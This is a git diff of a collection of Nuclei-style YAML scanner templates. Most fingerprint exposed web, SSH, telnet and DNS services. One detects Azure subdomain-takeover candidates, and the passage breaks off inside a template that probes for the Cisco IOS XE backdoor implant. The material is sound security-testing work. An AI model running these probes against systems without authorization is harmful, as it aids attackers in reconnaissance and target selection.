a/poc/detect/alfresco-detect-259.yaml b/poc/detect/alfresco-detect-259.yaml index 563dd840e7..bb8f41ee52 100644 --- a/poc/detect/alfresco-detect-259.yaml +++ b/poc/detect/alfresco-detect-259.yaml @@ -4,11 +4,6 @@ info: name: Alfresco CMS Detection author: pathtaga severity: info - description: Alfresco CMS was discovered. - reference: - - https://www.alfresco.com/ - classification: - cwe-id: CWE-200 tags: alfresco,tech,panel requests: @@ -36,5 +31,3 @@ requests: - 'Enterprise v.*([0-9]\.[0-9]+\.[0-9]+)' - 'Community v.*([0-9]\.[0-9]+\.[0-9]+)' - 'Community Early Access v.*([0-9]\.[0-9]+\.[0-9]+)' - -# Enhanced by mp on 2022/03/16 diff --git a/poc/detect/alfresco-detect-260.yaml b/poc/detect/alfresco-detect-260.yaml deleted file mode 100644 index bb8f41ee52..0000000000 --- a/poc/detect/alfresco-detect-260.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: alfresco-detect - -info: - name: Alfresco CMS Detection - author: pathtaga - severity: info - tags: alfresco,tech,panel - -requests: - - method: GET - path: - - "{{BaseURL}}/alfresco/api/-default-/public/cmis/versions/1.1/atom" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'org\/alfresco\/api\/opencmis\/OpenCMIS.get' - - - type: word - part: header - words: - - "application/json" - - extractors: - - type: regex - part: body - group: 1 - regex: - - 'Enterprise v.*([0-9]\.[0-9]+\.[0-9]+)' - - 'Community v.*([0-9]\.[0-9]+\.[0-9]+)' - - 'Community Early Access v.*([0-9]\.[0-9]+\.[0-9]+)' diff --git a/poc/detect/apache-axis-detect.yaml b/poc/detect/apache-axis-detect.yaml new file mode 100644 index 0000000000..3d78cd86bd --- /dev/null +++ b/poc/detect/apache-axis-detect.yaml @@ -0,0 +1,32 @@ +id: apache-axis-detect + +info: + name: apache-axis-detect + author: dogasantos + severity: info + description: Axis and Axis2 detection + tags: tech,axis2,middleware,apache + +requests: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/axis2/" + - "{{BaseURL}}/axis/" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - "Validate" + - "Welcome" + - "Axis" + - "deployed" + - "installation" + - "Admin" + condition: and + + - type: status + status: + - 200 diff --git a/poc/detect/apache-cocoon-detect-342.yaml b/poc/detect/apache-cocoon-detect-342.yaml new file mode 100644 index 0000000000..64f8870cf3 --- /dev/null +++ b/poc/detect/apache-cocoon-detect-342.yaml @@ -0,0 +1,33 @@ +id: apache-cocoon-detect + +info: + name: Apache Cocoon detect + author: ffffffff0x + severity: info + metadata: + verified: true + max-request: 1 + shodan-query: http.html:"Apache Cocoon" + fofa-query: app="APACHE-Cocoon" + tags: apache,cocoon,tech + +http: + - method: GET + path: + - "{{BaseURL}}" + + host-redirects: true + max-redirects: 2 + matchers: + - type: word + part: header + words: + - "X-Cocoon-Version" + + extractors: + - type: regex + part: header + regex: + - 'X\-Cocoon\-Version:([ 0-9.]+)' + +# digest: 4a0a0047304502207c3d5c05569282470766be7f10fec3c51d0b735651fac58a14d156cfe1b9a315022100ac0031c5ee4914905f47336472e3c56e443937e733b2ae348e006042060158f3:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/apache-cocoon-detect.yaml b/poc/detect/apache-cocoon-detect.yaml deleted file mode 100644 index 1d3b85ddc5..0000000000 --- a/poc/detect/apache-cocoon-detect.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: apache-cocoon-detect -info: - name: Apache Cocoon detect - author: ffffffff0x - severity: info - metadata: - fofa-query: app="APACHE-Cocoon" - tags: apache,cocoon,tech - -requests: - - method: GET - path: - - "{{BaseURL}}" - - redirects: true - max-redirects: 2 - matchers: - - type: word - part: header - words: - - "X-Cocoon-Version" - - extractors: - - type: regex - part: header - regex: - - 'X\-Cocoon\-Version:([ 0-9.]+)' diff --git a/poc/detect/apache-detect-347.yaml b/poc/detect/apache-detect-347.yaml index 4db33ceb08..eeb8966be3 100644 --- a/poc/detect/apache-detect-347.yaml +++ b/poc/detect/apache-detect-347.yaml @@ -27,4 +27,4 @@ requests: - type: kval part: header kval: - - Server \ No newline at end of file + - Server diff --git a/poc/detect/apache-dubbo-detect-351.yaml b/poc/detect/apache-dubbo-detect-351.yaml new file mode 100644 index 0000000000..abc3adf65b --- /dev/null +++ b/poc/detect/apache-dubbo-detect-351.yaml @@ -0,0 +1,23 @@ +id: apache-dubbo-detect + +info: + name: Apache dubbo detect + author: ffffffff0x + severity: info + metadata: + max-request: 1 + fofa-query: app="APACHE-dubbo" + tags: apache,dubbo,tech + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers: + - type: word + part: header + words: + - "Basic realm=\"dubbo\"" + +# digest: 490a0046304402207eab0da9fbf6224308f2509f78c874e04fbc4455c9375f51e7ccca501468294b02207f55571310092ba7d00229e95f7779280d0234242c34b50cacc03f5dd7777311:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/apache-dubbo-detect.yaml b/poc/detect/apache-dubbo-detect.yaml deleted file mode 100644 index 7005b42a4c..0000000000 --- a/poc/detect/apache-dubbo-detect.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: apache-dubbo-detect -info: - name: Apache dubbo detect - author: ffffffff0x - severity: info - metadata: - fofa-query: app="APACHE-dubbo" - tags: apache,dubbo,tech - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers: - - type: word - part: header - words: - - "Basic realm=\"dubbo\"" diff --git a/poc/detect/artica-web-proxy-detect-543.yaml b/poc/detect/artica-web-proxy-detect-545.yaml similarity index 100% rename from poc/detect/artica-web-proxy-detect-543.yaml rename to poc/detect/artica-web-proxy-detect-545.yaml diff --git a/poc/detect/artica-web-proxy-detect.yaml b/poc/detect/artica-web-proxy-detect.yaml deleted file mode 100644 index 082d88e73c..0000000000 --- a/poc/detect/artica-web-proxy-detect.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: artica-web-proxy-detect - -info: - name: Artica Web Proxy Detect - author: dwisiswant0 - severity: info - tags: tech,artica,proxy - -requests: - - method: GET - path: - - "{{BaseURL}}/fw.login.php" - - matchers-condition: and - matchers: - - type: word - words: - - "Welcome to the Artica Web Administration Interface" - - - type: status - status: - - 200 \ No newline at end of file diff --git a/poc/detect/autobahn-python-detect-595.yaml b/poc/detect/autobahn-python-detect-595.yaml deleted file mode 100644 index 5697bfc546..0000000000 --- a/poc/detect/autobahn-python-detect-595.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: autobahn-python-detect - -info: - name: Autobahn-Python Webserver Detect - author: pussycat0x - severity: info - metadata: - max-request: 1 - shodan-query: "AutobahnPython" - tags: tech,webserver - -http: - - method: GET - path: - - '{{BaseURL}}' - - matchers-condition: and - matchers: - - type: regex - regex: - - '

AutobahnPython([ 0-9.]+)<\/h1>' - - - type: status - status: - - 200 - - extractors: - - type: regex - part: body - regex: - - 'AutobahnPython([ 0-9.]+)' - -# digest: 4a0a004730450220299433f7a72c6c61f07be31feb69fbd48adc66cd0448767c424a96c597a762f7022100cc56d7af729b231f58beaee35f874d397f81497e67985ffb7c2d9c1f74131a56:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/autobahn-python-detect.yaml b/poc/detect/autobahn-python-detect.yaml new file mode 100644 index 0000000000..3a6054cc5a --- /dev/null +++ b/poc/detect/autobahn-python-detect.yaml @@ -0,0 +1,29 @@ +id: autobahn-python-detect + +info: + name: Autobahn-Python Webserver Detect + author: pussycat0x + severity: info + reference: https://www.shodan.io/search?query=%22AutobahnPython%22 + tags: tech,webserver + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers-condition: and + matchers: + - type: regex + regex: + - '

AutobahnPython([ 0-9.]+)<\/h1>' + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + regex: + - 'AutobahnPython([ 0-9.]+)' diff --git a/poc/detect/avantfax-detect.yaml b/poc/detect/avantfax-detect.yaml index 675b33e3f4..2359ed2184 100644 --- a/poc/detect/avantfax-detect.yaml +++ b/poc/detect/avantfax-detect.yaml @@ -1,36 +1,31 @@ -id: avantfax-detect - -info: - name: AvantFAX Detect - author: pikpikcu - severity: info - tags: tech,avantfax - - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 - Accept-Encoding: gzip, deflate - Accept: */* - - matchers-condition: and - matchers: - - - type: word - part: body - words: - - "- AvantFAX - Login" - - - type: status - status: - - 200 - - extractors: - - type: regex - part: body - group: 1 - regex: - - '

([0-9.]+)<\/p>' +id: avantfax-detect + +info: + name: AvantFAX Detect + author: pikpikcu + severity: info + tags: tech,avantfax + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "- AvantFAX - Login" + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '

([0-9.]+)<\/p>' diff --git a/poc/detect/aws-elastic-beanstalk-detect-643.yaml b/poc/detect/aws-elastic-beanstalk-detect-643.yaml index 00c2a3d8da..532f1b9aee 100644 --- a/poc/detect/aws-elastic-beanstalk-detect-643.yaml +++ b/poc/detect/aws-elastic-beanstalk-detect-643.yaml @@ -4,11 +4,9 @@ info: name: AWS Elastic Beanstalk Detect author: pussycat0x severity: info - metadata: - max-request: 1 tags: aws,tech,beanstalk -http: +requests: - method: GET path: - '{{BaseURL}}' @@ -31,5 +29,3 @@ http: group: 1 regex: - '([A-Za-z -]+)<\/title>' - -# digest: 4a0a0047304502205248c4f04864e4ced28b39f71a3a85e4985860aba6b016c3a062c7ab1977aae5022100c886094c2eebe7cb056a7f0ad732908fe42e17837b520a66924972d7f5a8acd6:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/aws-elastic-beanstalk-detect.yaml b/poc/detect/aws-elastic-beanstalk-detect.yaml new file mode 100644 index 0000000000..71aa3cfe65 --- /dev/null +++ b/poc/detect/aws-elastic-beanstalk-detect.yaml @@ -0,0 +1,30 @@ +id: elastic-beanstalk-detect +info: + name: AWS Elastic Beanstalk Detect + author: pussycat0x + severity: info + tags: aws,tech,beanstalk + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers-condition: and + matchers: + - type: word + words: + - '<li><a href="http://docs.aws.amazon.com/elasticbeanstalk/latest/dg/Welcome.html">AWS Elastic Beanstalk overview</a></li>' + - '<li><a href="http://docs.amazonwebservices.com/elasticbeanstalk/latest/dg/">AWS Elastic Beanstalk overview</a></li>' + condition: or + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '<title>([A-Za-z -]+)<\/title>' diff --git a/poc/detect/aws-sftp-detect.yaml b/poc/detect/aws-sftp-detect.yaml new file mode 100644 index 0000000000..2294a4a534 --- /dev/null +++ b/poc/detect/aws-sftp-detect.yaml @@ -0,0 +1,34 @@ +id: aws-sftp-detect + +info: + name: AWS SFTP Service - Detect + author: johnk3r + severity: info + description: | + AWS-SFTP service was detected. + reference: + - https://aws.amazon.com/pt/about-aws/whats-new/2018/11/aws-transfer-for-sftp-fully-managed-sftp-for-s3/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + verified: true + shodan-query: SSH-2.0-AWS_SFTP_1.1 + tags: network,ssh,detect,aws,sftp + +tcp: + - host: + - "{{Hostname}}" + port: 22 + + matchers: + - type: regex + regex: + - '(?i)AWS_SFTP' + + extractors: + - type: regex + regex: + - '(?i)SSH-(.*)-AWS_SFTP_[^\r]+' +# digest: 490a00463044022030ea3cf252ed87cfdb0e93da72054b7039e9074d6bd3d3aa6437b57177c0d59002204a1c708899f16593877426d5d2fb315b5c8e3b6e19ca0e3ffe2e311ab56e8461:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/azure-takeover-detection-681.yaml b/poc/detect/azure-takeover-detection-681.yaml new file mode 100644 index 0000000000..51cf0fcc7e --- /dev/null +++ b/poc/detect/azure-takeover-detection-681.yaml @@ -0,0 +1,40 @@ +id: azure-takeover-detection +info: + name: Azure takeover detection + author: "pdnuclei - projectdiscovery.io" + severity: high + # Update the list with more CNAMEs related to azure + # You need to claim the CNAME in Azure portal (https://portal.azure.com) to confirm the takeover. + # Do not report this without claiming the CNAME. +dns: + - name: "{{FQDN}}" + type: A + class: inet + recursion: true + retries: 3 + matchers-condition: and + matchers: + - type: word + words: + - "azure-api.net" + - "azure-mobile.net" + - "azurecontainer.io" + - "azurecr.io" + - "azuredatalakestore.net" + - "azureedge.net" + - "azurefd.net" + - "azurehdinsight.net" + - "azurewebsites.net" + - "azurewebsites.windows.net" + - "blob.core.windows.net" + - "cloudapp.azure.com" + - "cloudapp.net" + - "database.windows.net" + - "redis.cache.windows.net" + - "search.windows.net" + - "servicebus.windows.net" + - "trafficmanager.net" + - "visualstudio.com" + - type: word + words: + - "NXDOMAIN" diff --git a/poc/detect/azure-takeover-detection-682.yaml b/poc/detect/azure-takeover-detection-682.yaml index 51cf0fcc7e..c7c350400a 100644 --- a/poc/detect/azure-takeover-detection-682.yaml +++ b/poc/detect/azure-takeover-detection-682.yaml @@ -1,17 +1,26 @@ id: azure-takeover-detection + info: - name: Azure takeover detection - author: "pdnuclei - projectdiscovery.io" + name: Microsoft Azure Takeover Detection + author: pdteam severity: high - # Update the list with more CNAMEs related to azure - # You need to claim the CNAME in Azure portal (https://portal.azure.com) to confirm the takeover. - # Do not report this without claiming the CNAME. + description: Microsoft Azure is vulnerable to subdomain takeover attacks. Subdomain takeovers are a common, high-severity threat for organizations that regularly create and delete many resources. A subdomain takeover can occur when a DNS record points to a deprovisioned Azure resource. + reference: + - https://godiego.co/posts/STO/ + - https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover + - https://cystack.net/research/subdomain-takeover-chapter-two-azure-services/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-404 + metadata: + max-request: 1 + tags: dns,takeover,azure + dns: - name: "{{FQDN}}" type: A - class: inet - recursion: true - retries: 3 + matchers-condition: and matchers: - type: word @@ -35,6 +44,14 @@ dns: - "servicebus.windows.net" - "trafficmanager.net" - "visualstudio.com" + - type: word words: - "NXDOMAIN" + + extractors: + - type: dsl + dsl: + - cname + +# digest: 4a0a00473045022043d1113417de308936591aa35f8175c25ad9d5b66b6d076fe0ba324450b1799e022100add5bb113b494d920eb39a99c107f2e7dff1979d482302e2580ff07e5857d9ff:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/basic-auth-detection-688.yaml b/poc/detect/basic-auth-detection-688.yaml index 6ec77642b9..b1d95275fc 100644 --- a/poc/detect/basic-auth-detection-688.yaml +++ b/poc/detect/basic-auth-detection-688.yaml @@ -1,23 +1,22 @@ -id: basic-auth-detection - -info: - name: Basic auth detection - author: w4cky_ - severity: info - tags: tech,basic-auth - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: status - status: - - 401 - - - type: word - words: - - "Www-Authenticate:" - part: header +id: basic-auth-detection + +info: + name: Basic auth detection + author: esetal + severity: info + tags: tech,basic-auth + description: improved version of nuclei-templates/technologies/basic-auth-detection.yaml + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: status + status: + - 401 + - type: dsl + dsl: + - contains(tolower(all_headers), 'www-authenticate') diff --git a/poc/detect/bedita-detect-704.yaml b/poc/detect/bedita-detect-704.yaml index 449784fe63..fe6a5a8a6d 100644 --- a/poc/detect/bedita-detect-704.yaml +++ b/poc/detect/bedita-detect-704.yaml @@ -1,25 +1,25 @@ -id: bedita-detect - -info: - name: BEdita detect - author: pikpikcu - severity: info - tags: tech,bedita - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers: - - type: regex - part: body - regex: - - 'BEdita(.*)</a><br>' - - extractors: - - type: regex - part: body - group: 1 - regex: - - 'target="besite">(.*)</a><br>' +id: bedita-detect + +info: + name: BEdita detect + author: pikpikcu + severity: info + tags: tech,bedita + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers: + - type: regex + part: body + regex: + - 'BEdita(.*)</a><br>' + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'target="besite">(.*)</a><br>' diff --git a/poc/detect/bedita-detect-706.yaml b/poc/detect/bedita-detect-706.yaml deleted file mode 100644 index fe6a5a8a6d..0000000000 --- a/poc/detect/bedita-detect-706.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: bedita-detect - -info: - name: BEdita detect - author: pikpikcu - severity: info - tags: tech,bedita - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers: - - type: regex - part: body - regex: - - 'BEdita(.*)</a><br>' - - extractors: - - type: regex - part: body - group: 1 - regex: - - 'target="besite">(.*)</a><br>' diff --git a/poc/detect/bigbluebutton-detect-723.yaml b/poc/detect/bigbluebutton-detect-723.yaml new file mode 100644 index 0000000000..2a62d9cd24 --- /dev/null +++ b/poc/detect/bigbluebutton-detect-723.yaml @@ -0,0 +1,28 @@ +id: bigbluebutton-detect + +info: + name: BigBlueButton Detect + author: pikpikcu + severity: info + metadata: + max-request: 1 + shodan-query: http.title:"BigBlueButton" + tags: tech,bigbluebutton + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "<title>BigBlueButton" + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100e3bb53afa3cae70ad123439dbdff19f93dc7698770e9987bd76c4569d884558b022100bbe4fa7dc34d384632f8ee70adc8befbb53c7eb502d709f81c30a6b7e107593b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/bigbluebutton-detect.yaml b/poc/detect/bigbluebutton-detect.yaml deleted file mode 100644 index 1f5dbaa579..0000000000 --- a/poc/detect/bigbluebutton-detect.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: bigbluebutton-detect - -info: - name: BigBlueButton Detect - author: pikpikcu - severity: info - metadata: - shodan-query: http.title:"BigBlueButton" - tags: tech,bigbluebutton - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "BigBlueButton" - - - type: status - status: - - 200 diff --git a/poc/detect/bigip-config-utility-detect-733.yaml b/poc/detect/bigip-config-utility-detect-730.yaml similarity index 100% rename from poc/detect/bigip-config-utility-detect-733.yaml rename to poc/detect/bigip-config-utility-detect-730.yaml diff --git a/poc/detect/bimi-detect.yaml b/poc/detect/bimi-detect.yaml new file mode 100644 index 0000000000..3a3c25aae2 --- /dev/null +++ b/poc/detect/bimi-detect.yaml @@ -0,0 +1,25 @@ +id: bimi-record-detect + +info: + name: BIMI Record - Detection + author: rxerium + severity: info + description: | + A BIMI record was detected + reference: + - https://postmarkapp.com/blog/what-the-heck-is-bimi + tags: dns,bimi + +dns: + - name: "{{FQDN}}" + type: TXT + matchers: + - type: word + words: + - "v=BIMI1" + + extractors: + - type: regex + regex: + - "v=BIMI1(.+)" +# digest: 4a0a004730450221008445fc238e87f9342ce983f65c136755a858f4b59106a74fe0a685b7cbc0d9d20220723212d91ee35908c09375b9eef99966b5c4e47ca3d5dab26b2013f76ff5891e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/biometric-detect.yaml b/poc/detect/biometric-detect.yaml index 1bb7cc705b..7db4c1a484 100644 --- a/poc/detect/biometric-detect.yaml +++ b/poc/detect/biometric-detect.yaml @@ -1,23 +1,16 @@ id: biometric-detect info: - name: Android Biometric/Fingerprint - Detect + name: Biometric or Fingerprint detect author: gaurang severity: info - description: Android Biometric/Fingerprint permission files were detected. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - tags: android,file + file: - extensions: - all + matchers: - type: word words: - "android.permission.USE_FINGERPRINT" - - "android.permission.USE_BIOMETRIC" - -# Enhanced by md on 2023/05/02 -# digest: 4b0a00483046022100f43f7c82a443df1bdd1728b98b23a3d63aaa901d0338bf24a418fa62aa5b99c3022100d42fbf9d55efd87f006503421e1589c32046deb9fe240809156c321d870cfec9:922c64590222798bb761d5b6d8e72950 + - "android.permission.USE_BIOMETRIC" \ No newline at end of file diff --git a/poc/detect/bitvise-ssh-detect.yaml b/poc/detect/bitvise-ssh-detect.yaml new file mode 100644 index 0000000000..5b50595cd9 --- /dev/null +++ b/poc/detect/bitvise-ssh-detect.yaml @@ -0,0 +1,35 @@ +id: bitvise-detect + +info: + name: SSH Bitvise Service - Detect + author: abdullahisik + severity: info + description: | + Bitvise SSH service was detected. + reference: + - https://www.bitvise.com/ + - https://vulners.com/openvas/OPENVAS:1361412562310813387 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + cpe: cpe:/a:bitvise:winsshd + metadata: + shodan-query: product:"bitvise" + max-request: 1 + tags: network,ssh,bitvise,detect + +tcp: + - host: + - "{{Hostname}}" + port: 22 + + matchers: + - type: regex + regex: + - '(?i)Bitvise' + + extractors: + - type: regex + regex: + - "SSH([-0-9.]+) FlowSsh: Bitvise ([A-Z a-z()]+) ([0-9.]+)" +# digest: 490a004630440220010abebfd25e29ee77729c67afbab686ff917aed4effa46d5492ba335f0fd58f022021dbdbe86bb9e0f8eed16cb0eafcd7fc2ec05c4be7565d78b90baba7f82af79c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/bluecoat-telnet-proxy-detect.yaml b/poc/detect/bluecoat-telnet-proxy-detect.yaml new file mode 100644 index 0000000000..f8947f2e7c --- /dev/null +++ b/poc/detect/bluecoat-telnet-proxy-detect.yaml @@ -0,0 +1,33 @@ +id: bluecoat-telnet-proxy-detect + +info: + name: BlueCoat Telnet Proxy - Detect + author: righettod + severity: info + description: | + Detects Blue Coat telnet proxy services. + reference: + - https://en.wikipedia.org/wiki/Blue_Coat_Systems + - https://techdocs.broadcom.com/us/en/symantec-security-software/web-and-network-security/edge-swg/7-3/about-ssl-proxy.html + - https://techdocs.broadcom.com/us/en/symantec-security-software/web-and-network-security/edge-swg/7-3.html + metadata: + max-request: 1 + verified: true + tags: network,bluecoat,proxy,detect + +tcp: + - inputs: + - data: "\r\n" + read: 1024 + + host: + - "{{Hostname}}" + port: 23 + read-size: 4096 + + matchers: + - type: word + part: data + words: + - "Blue Coat telnet proxy" +# digest: 490a004630440220399eadb0d76d49e997e4ee4a1b74d4febf52005a6ee99ce0a4ebe1722015fada02205db8a40c7ad217a83d8a7689da6dd13aeee373f9430b725c7cfa7adf2dc2f09d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/brother-printer-detect-789.yaml b/poc/detect/brother-printer-detect-788.yaml similarity index 100% rename from poc/detect/brother-printer-detect-789.yaml rename to poc/detect/brother-printer-detect-788.yaml diff --git a/poc/detect/brother-printer-detect-790.yaml b/poc/detect/brother-printer-detect-790.yaml index 86589db024..941f6faff9 100644 --- a/poc/detect/brother-printer-detect-790.yaml +++ b/poc/detect/brother-printer-detect-790.yaml @@ -1,23 +1,31 @@ -id: brother-printer-detect - -info: - name: Brother Printer - author: pussycat0x - severity: low - reference: https://www.exploit-db.com/ghdb/6889 - tags: iot,printer,tech - -requests: - - method: GET - path: - - "{{BaseURL}}/general/status.html" - - matchers-condition: and - matchers: - - type: word - words: - - "Brother Industries" - - - type: status - status: - - 200 \ No newline at end of file +id: brother-printer-detect + +info: + name: Brother Printer + + author: pussycat0x + + severity: low + + reference: https://www.exploit-db.com/ghdb/6889 + + tags: iot,printer,tech + +requests: + - method: GET + + path: + - "{{BaseURL}}/general/status.html" + + matchers-condition: and + + matchers: + - type: word + + words: + - "Brother Industries" + + - type: status + + status: + - 200 diff --git a/poc/detect/burp-api-detect-810.yaml b/poc/detect/burp-api-detect-810.yaml index d1c703aa98..e09396dbd2 100644 --- a/poc/detect/burp-api-detect-810.yaml +++ b/poc/detect/burp-api-detect-810.yaml @@ -6,9 +6,11 @@ info: severity: info reference: - https://portswigger.net/burp/documentation/enterprise/api-reference + metadata: + max-request: 1 tags: burp,tech -requests: +http: - method: GET path: - "{{BaseURL}}/v0.1/" @@ -19,10 +21,14 @@ requests: words: - 'Burp API' part: body + - type: word words: - 'X-Burp-Version' part: header + - type: status status: - 200 + +# digest: 4a0a00473045022052b868b75ef5acca38021fc922afd6de009fc394c0ff24b726bc9c1a6938ce18022100e2e714ce631619d950c6e0c2fa132fbefcea5bf44ba1084d4aae98548f93dd7f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/burp-api-detect.yaml b/poc/detect/burp-api-detect-812.yaml similarity index 100% rename from poc/detect/burp-api-detect.yaml rename to poc/detect/burp-api-detect-812.yaml diff --git a/poc/detect/carestream-vue-detect-861.yaml b/poc/detect/carestream-vue-detect-861.yaml deleted file mode 100644 index 9e39ae8399..0000000000 --- a/poc/detect/carestream-vue-detect-861.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: carestream-vue-detect - -info: - name: CARESTREAM Vue Motion Detector - author: philippedelteil - severity: info - description: This template will detect a running CARESTREAM Vue Motion instance - reference: - - https://www.carestream.com/en/us/-/media/publicsite/resources/radiography-and-health-it/product-brochures/ris-pacs/pdfs/brochure-vue-motion-201601.pdf - tags: tech,myvuehelp - -requests: - - method: GET - path: - - "{{BaseURL}}/portal/favicon.ico" - - "{{BaseURL}}/portal/images/MyVue/MyVueHelp.png" - - redirects: true - stop-at-first-match: true - max-redirects: 2 - matchers-condition: or - matchers: - - type: dsl - name: "myvuehelp" - dsl: - - "status_code==200 && (\"84054196570ecd7526894ccb6e7c5c6e\" == md5(body))" - - - type: dsl - name: "myvuehelp-favicon" - dsl: - - "status_code==200 && (\"1c4b2c10acccc48852d12eddadaf7944\" == md5(body))" \ No newline at end of file diff --git a/poc/detect/celebrus-detect.yaml b/poc/detect/celebrus-detect.yaml new file mode 100644 index 0000000000..2b06b610ab --- /dev/null +++ b/poc/detect/celebrus-detect.yaml @@ -0,0 +1,38 @@ +id: celebrus-detect + +info: + name: Celebrus - Detect + author: righettod + severity: info + description: | + Celebrus was detected. + reference: + - https://investors.celebrus.com/ + metadata: + max-request: 1 + verified: true + shodan-query: http.title:"Celebrus" + tags: tech,celebrus,detect + +http: + - method: GET + path: + - "{{BaseURL}}" + + host-redirects: true + max-redirects: 2 + + matchers: + - type: dsl + dsl: + - 'status_code == 200' + - 'contains_any(to_lower(body), "content=\"celebrus technologies ltd", "celebrus")' + condition: and + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'Celebrus\s+([0-9.]+)\s+Collection' +# digest: 4b0a00483046022100dffa62d8ec2eb20335c3658190ad26a827adc08c4cce3cde4e247df721cd0eb3022100fe79b85360d880f60eb4a3db13ef8a93d8c85d394669968163aae228539ebe56:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/centreon-detect-875.yaml b/poc/detect/centreon-detect-875.yaml deleted file mode 100644 index c3ca5df6a4..0000000000 --- a/poc/detect/centreon-detect-875.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: centreon-detect - -info: - name: Centreon Detect - author: pikpikcu - severity: info - tags: tech,centreon - -requests: - - method: GET - path: - - "{{BaseURL}}/centreon/index.php" - - matchers-condition: and - matchers: - - - type: word - part: body - words: - - "<title>Centreon - IT & Network Monitoring" - - - type: status - status: - - 200 diff --git a/poc/detect/centreon-detect.yaml b/poc/detect/centreon-detect.yaml index 4bb2946277..c3ca5df6a4 100644 --- a/poc/detect/centreon-detect.yaml +++ b/poc/detect/centreon-detect.yaml @@ -6,16 +6,11 @@ info: severity: info tags: tech,centreon - requests: - - raw: - - | - GET /centreon/index.php HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 - Accept-Encoding: gzip, deflate - Accept: */* - + - method: GET + path: + - "{{BaseURL}}/centreon/index.php" + matchers-condition: and matchers: diff --git a/poc/detect/cisco-implant-detect.yaml b/poc/detect/cisco-implant-detect.yaml new file mode 100644 index 0000000000..71631aa5e0 --- /dev/null +++ b/poc/detect/cisco-implant-detect.yaml @@ -0,0 +1,51 @@ +id: cisco-implant-detect + +info: + name: Cisco IOS XE - Impant Detection + author: DhiyaneshDK,rxerium + severity: critical + description: | + Cisco is aware of active exploitation of a previously unknown vulnerability in the web UI feature of Cisco IOS XE Software when exposed to the internet or to untrusted networks. This vulnerability allows a remote, unauthenticated attacker to create an account on an affected system with privilege level 15 access. The attacker can then use that account to gain control of the affected system. + remediation: | + Disable the HTTP server feature on internet-facing systems by running one of the following commands in global configuration mode: 'no ip http server' or 'no ip http secure-server'. + reference: + - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z + - https://www.bleepingcomputer.com/news/security/cisco-warns-of-new-ios-xe-zero-day-actively-exploited-in-attacks/ + - https://socradar.io/cisco-warns-of-exploitation-of-a-maximum-severity-zero-day-vulnerability-in-ios-xe-cve-2023-20198 + - https://github.com/vulncheck-oss/cisco-ios-xe-implant-scanner/blob/main/implant-scanner.go + metadata: + verified: true + max-request: 2 + shodan-query: http.html_hash:1076109428 + tags: backdoor,cisco,ios,kev + +http: + - raw: + - | + GET /webui HTTP/1.1 + Host: {{Hostname}} + - | + POST /webui/logoutconfirm.html?logon_hash=1 HTTP/1.1 + Host: {{Hostname}} + Authorization: 0ff4fbf0ecffa77ce8d3852a29263e263838e9bb + + redirects: true + max-redirects: 3 + + 